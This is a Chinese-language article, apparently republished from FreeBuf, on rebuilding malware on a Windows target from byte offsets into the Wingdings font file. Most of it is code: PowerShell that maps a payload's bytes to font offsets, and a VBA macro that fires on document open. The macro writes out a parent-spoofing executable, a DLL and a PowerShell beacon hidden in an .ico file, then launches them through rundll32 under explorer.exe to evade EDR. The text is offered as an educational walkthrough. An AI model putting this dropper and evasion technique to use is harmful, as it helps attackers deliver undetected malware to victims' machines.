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利用Windows系统字体来创建恶意软件
2018-12-19 14:11:055662人阅读
严正声明：本文内容仅用于教育目的和技术讨论，严禁用于非法用途。
前言
在不需要任何其他依赖组件的情况下完成入侵，指的就是利用目标系统中已安装的合法程序来进行恶意活动。在这种场景下，攻击者无需通过嵌入代码或Payload来传递外部文件，因为所有需要用到的执行载体在目标主机上都已经准备好了。
步骤
在大多数情况下，一般的网络攻击需分成下面这三个步骤来进行：
1、 传递一个包含了Payload的文件，该文件需包含：
a)需要执行的恶意代码
b)或者
c)非恶意代码，因为Payload可以在第三步中下载恶意组件
2、 诱使目标用户执行Payload；
3、 接下来，Payload将会：
a)执行恶意组件
b)或者
c)下载恶意组件，然后执行
我的目标
我想要的解决方案应该满足以下几个条件：
1、 不包含任何恶意代码（甚至连恶意字节都没有），以绕过边界防护。
2、 不用下载任何恶意代码。
3、 最终执行恶意代码。
利用目标主机中的字体实现恶意软件自生成。
首先，我们需要找出每一个Windows操作系统版本都包含的一个组件，结果我找到了这个：
我对比了多个Windows版本中的Wingdings字体，然后发现这个字体在每个版本中都是一样的。
因此，我打算利用这个字体来实现我的“小”目标。应该怎么做呢？方法大致如下：
1、 在我们的主机上，收集我们恶意软件的字节数据。
2、 拿恶意软件的第一个字节跟Wingdings字体进行对比。
3、 在字体中找到了相同字节之后，在文本文件中记录它的位置。
4、 重复这个过程，直到找出恶意软件中包含的所有字节，然后在文本文件中记录下它们的位置。
5、 我们的Payload将包含每个字节所对应的Wingdings字体位置。
6、 在目标主机上，Payload将会使用Wingdings字体的位置来转换成字节数据，并构建恶意组件。
下面给出的是用来找出字节对应字体位置的PowerShell代码：
$Font= "C:\Windows\Fonts\wingding.ttf"$Malware= "C:\Users\Administrator\Pictures\2.PNG" $fontArray= Get-Content $Font -Encoding Byte -ReadCount 0$malwareArray= Get-Content $Malware -Encoding Byte -ReadCount 0$offsetArray= @()foreach($byteInMalware in $malwareArray){ $index = 0 foreach ($byteInFont in $fontArray) { if ($byteInMalware -eq $byteInFont) { $offsetArray += $index break } $index++ } }PowerShell代码将生成一个VBA代码，你可以将其插入到宏文件中，这份代码会生成一个包含字节位置信息的字节数组，它将负责构建你的恶意组件：
$i=0$payload= ""$j=0$u=1$payDef= ""foreach($offsetin $offsetArray){ if($i -eq 30) { $payload = $payload + ", " +$offset + " _`r`n" $i=0 $j++ } else { if($i -eq 0) { $payload = $payload + $offset } else { $payload = $payload + ", " +$offset } } if($j -eq 25) { $payDef = $payDef + "`r`nFunctionccc$u()tt$u= Array($payload)ccc$u= tt$uEndFunction" $payload = "" $u++ $j = 0 } $i++}if($payload-ne ""){$payDef= $payDef + "`r`nFunction ccc$u()tt$u= Array($payload)ccc$u= tt$uEndFunction"} $payDef运行结果如下：
下面给出的VBA代码将使用我们之前所创建的字节数组来生成恶意组件。接下来，我们需要选择Explorer.exe来作为RunDll32.exe的父进程（目的是绕过EDR产品），然后通过RunDll32.exe来执行我们的恶意组件。如果你不想把文件写入磁盘的话，你可以尝试结合内存注入技术来使用。
VBA代码如下：
[...]--> you array of bytes containing the position of necessary bytes in theWindings font.
'exampleto join the bytes for the fist malicious component
t1 = cc1
t2 = cc2
t3 = cc3
t4 = cc4
t5 = cc5
t6 = cc6
t7 = cc7
t8 = cc8
t9 = cc9
t10 = cc10
t11 = cc11
t12 = cc12
t13 = cc13
t14 = cc14
t15 = cc15
t16 = cc16
t17 = cc17
t18 = cc18
ttt = Split(Join(t1, ",") &"," & Join(t2, ",") & "," & Join(t3,",") & "," & Join(t4, ",") &"," & Join(t5, ",") & "," & Join(t6,",") & "," & Join(t7, ",") &"," & Join(t8, ",") & "," & Join(t9,",") _
& "," & Join(t10,",") & "," & Join(t11, ",") &"," & Join(t12, ",") & "," &Join(t13, ",") & "," & Join(t14, ",")& "," & Join(t15, ",") & "," &Join(t16, ",") & "," & Join(t17, ",")& "," & Join(t18, ","), ",")
[...]
Dim nb As Integer
Dim nb2 As Integer
nb = UBound(ttt) - LBound(ttt) + 1 'ttt isa joined byte array
nb2 = UBound(tt) - LBound(tt) + 1
nb3 = UBound(ttttttt) - LBound(ttttttt) + 1
Dim intFileNumber As Integer
Dim i As Integer
Dim j As Integer
Dim lngFileSize As Long
Dim lngFileSize2 As Long
Dim strBuffer As String
Dim strBuffer2 As String
Dim lngCharNumber As Long
Dim lngCharNumber2 As Long
Dim strCharacter As String * 1
Dim strCharacter2 As String * 1
Dim strFileName As String
Dim strFileName2 As String
Dim offset() As Variant
strFileName ="C:\Windows\Fonts\wingding.ttf"
intFileNumber = FreeFile
Open strFileName For Binary Access ReadShared As #intFileNumber
lngFileSize = LOF(intFileNumber)
strBuffer = Space$(lngFileSize)
Get #intFileNumber, , strBuffer
Close #intFileNumber
Dim nFileNum As Long
Dim sFilename As String
Dim ind As Long
sFilename2 ="C:\Users\Public\Documents\changeMyParent.exe" ' crafted binary thatwill be use to select the parent of rundll32
sFilename ="C:\Users\Public\Documents\runPoshCode.dll" ' .DLL that will runpowershell beacon from an image
sFilename3 ="C:\Users\Public\Documents\BEACON.ico" ' malicious powershell beaconregistered in an .ICO
nFileNum = FreeFile
Open sFilename2 For Binary Lock Read WriteAs #nFileNum
For lngCharNumber = 0 To nb - 1
ind = lngCharNumber + 1
off = ttt(lngCharNumber)
strCharacter = Mid(strBuffer, off, 1)
Put #nFileNum, ind, strCharacter
Next lngCharNumber
Close #nFileNum
nFileNum = FreeFile
Open sFilename For Binary Lock Read Write As#nFileNum
For lngCharNumber = 0 To nb2 - 1
ind = lngCharNumber + 1
off = tt(lngCharNumber)
strCharacter = Mid(strBuffer, off, 1)
Put #nFileNum, ind, strCharacter
Next lngCharNumber
Close #nFileNum
nFileNum = FreeFile
Open sFilename3 For Binary Lock Read WriteAs #nFileNum
For lngCharNumber = 0 To nb3 - 1
ind = lngCharNumber + 1
off = ttttttt(lngCharNumber)
strCharacter = Mid(strBuffer, off, 1)
Put #nFileNum, ind, strCharacter
Next lngCharNumber
Close #nFileNum
rr
EndSub
Subrr()
Dim xx As String
Dim oihfasf As Object, eopuf As Object, kdjAs Object
Dim oDic As Object, a() As Variant
Dim pskaf As Integer
Set oDic =CreateObject("Scripting.Dictionary")
xx = "."
Set oihfasf =GetObject("winmgmts:\\" _
& xx & "\root\CIMV2")
Set eopuf = oihfasf.ExecQuery _
("Select Name, ProcessID FROMWin32_Process", , 48)
For Each kdj In eopuf
If(kdj.Properties_("Name").Value) = "explorer.exe" Then
pskaf =(kdj.Properties_("ProcessID").Value)
End If
Next
Dim tAs Date
Dimcnt As Long
Dimarr(2) As Byte
Dimxl As String
xl ="C:\Users\Public\Documents\changeMyParent.exe ""C:\Windows\system32\RunDll32.exeC:\Users\Public\Documents\runPoshCode.dll,ComputeFmMediaType -fC:\Users\Public\Documents\BEACON.ico"" " & pskafxx ="."
Setow = GetObject("winmgmts:\\" & xx & "\Root\cimv2")
Setos = ow.Get("Win32_ProcessStartup")
Setoc = os.SpawnInstance_
Setop = GetObject("winmgmts:\\" & xx &"\root\cimv2:Win32_Process")
op.Createxl, Null, oc, aslh
EndSub
SubAutoOpen()
cc
EndSub
SubWorkbook_Open()
cc
EndSub
本文转自FreeBuf.COM，参考来源：sysadminconcombre，Alpha_h4ck编译
